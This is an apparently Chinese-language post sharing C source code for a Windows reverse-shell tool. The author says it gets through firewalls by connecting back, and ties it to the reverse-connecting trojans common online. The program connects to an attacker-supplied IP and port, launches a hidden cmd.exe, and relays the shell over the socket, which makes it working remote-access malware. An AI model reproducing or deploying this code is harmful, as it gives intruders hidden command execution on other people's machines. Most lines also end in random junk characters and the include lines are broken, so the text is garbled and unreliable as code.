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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2}5@: cwR+  
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/* ============================== 2V$YZSw6q  
Rebound port in Windows NT s]xn&rd_  
By wind,2006/7 `>0(N.'T  
===============================*/ ,LL=b-Es  
#include 'tVe#oI  
#include Wa%p+(\<uB  
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#pragma comment(lib,"wsock32.lib") <h`}I3Ao  
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void OutputShell(); Ul:M=8nE%  
SOCKET sClient; &VVvZ@X;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [kI[qByf  
quFNPdP  
void main(int argc,char **argv) q]y{ 4"=5  
{ SqoO"(1x  
WSADATA stWsaData; eW[](lGWM  
int nRet; )U{IQE;T#  
SOCKADDR_IN stSaiClient,stSaiServer; AQ,%5MeqJ  
w X.]O!^X~  
if(argc != 3) `V?NS,@$  
{ &=lh Kt  
printf("Useage:\n\rRebound DestIP DestPort\n"); =8 DS~J{  
return; N2Cf(  
} !Eb!y`jK  
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WSAStartup(MAKEWORD(2,2),&stWsaData); @$?*UI6y  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H8!lSRq  
H7Pw>Ta ;  
stSaiClient.sin_family = AF_INET; Wk]E6yz6  
stSaiClient.sin_port = htons(0); /? Bu^KX  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uecjR8\e  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wd Di5-A4  
{ tj tN<y  
printf("Bind Socket Failed!\n"); &lB>G[t  
return; !:1BuiL  
} F>5)Clq  
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stSaiServer.sin_family = AF_INET; p%e/>N.P  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a,[NcdG  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N\x<'P4q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l,j0n0h.  
{ J8DKia|h(  
printf("Connect Error!"); fyv S1_  
return; @Sz7*p  
} E_K32) J-  
OutputShell(); >7QC>ws%  
} .H5^N\V|  
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void OutputShell() ,f[Oy:fr  
{ ,v(ikPzd  
char szBuff[1024]; hj3wxH.}  
SECURITY_ATTRIBUTES stSecurityAttributes; iD:T KB_r  
OSVERSIONINFO stOsversionInfo; -M`+hVs?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }M9I]\  
STARTUPINFO stStartupInfo; HH^yruP\}  
char *szShell; >):>Pz%U  
PROCESS_INFORMATION stProcessInformation; "^Vfo$q  
unsigned long lBytesRead; DcZ,a E]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3 n1 > +8  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]#J-itO  
stSecurityAttributes.lpSecurityDescriptor = 0; }yM!o`90  
stSecurityAttributes.bInheritHandle = TRUE; nkz^^q`5l7  
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t` zPx#])  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q_0,KOGW  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a8Z{-=)  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @Y+9")?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *g 2N&U  
stStartupInfo.wShowWindow = SW_HIDE; '_o(I  
stStartupInfo.hStdInput = hReadPipe; < #7j~<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Br"K{g?  
<7J\8JR&=  
GetVersionEx(&stOsversionInfo); ]U3@V#*  
A,%NdM;t=5  
switch(stOsversionInfo.dwPlatformId) /3 d6Og  
{ ?,*KAGg%  
case 1: t8"yAYj  
szShell = "command.com"; CNyV6jb  
break; `qj24ehc  
default: c]/&xRd  
szShell = "cmd.exe"; +v|]RgyW)  
break; w0fFm"A|W  
} /QVhT  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :-1 i1d  
);ZxKGjc4  
send(sClient,szMsg,77,0); CrEC@5 j  
while(1) >3y:cPTM5  
{ qbQH1<yS<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l%MIna/Tp  
if(lBytesRead) 0%]F&|  
{ Z`kI6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); s;YuB#Z  
send(sClient,szBuff,lBytesRead,0); gJuA*^  
} EY[J;H_b  
else RL1cx|  
{ 66Xo3 o  
lBytesRead=recv(sClient,szBuff,1024,0); Ea?u5$>gY"  
if(lBytesRead<=0) break; A$ o?_  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); & 13#/  
} ,c[f/sT\  
} :%"$8o*0W  
psE&Rx3)  
return; 2k"!o~s^  
}
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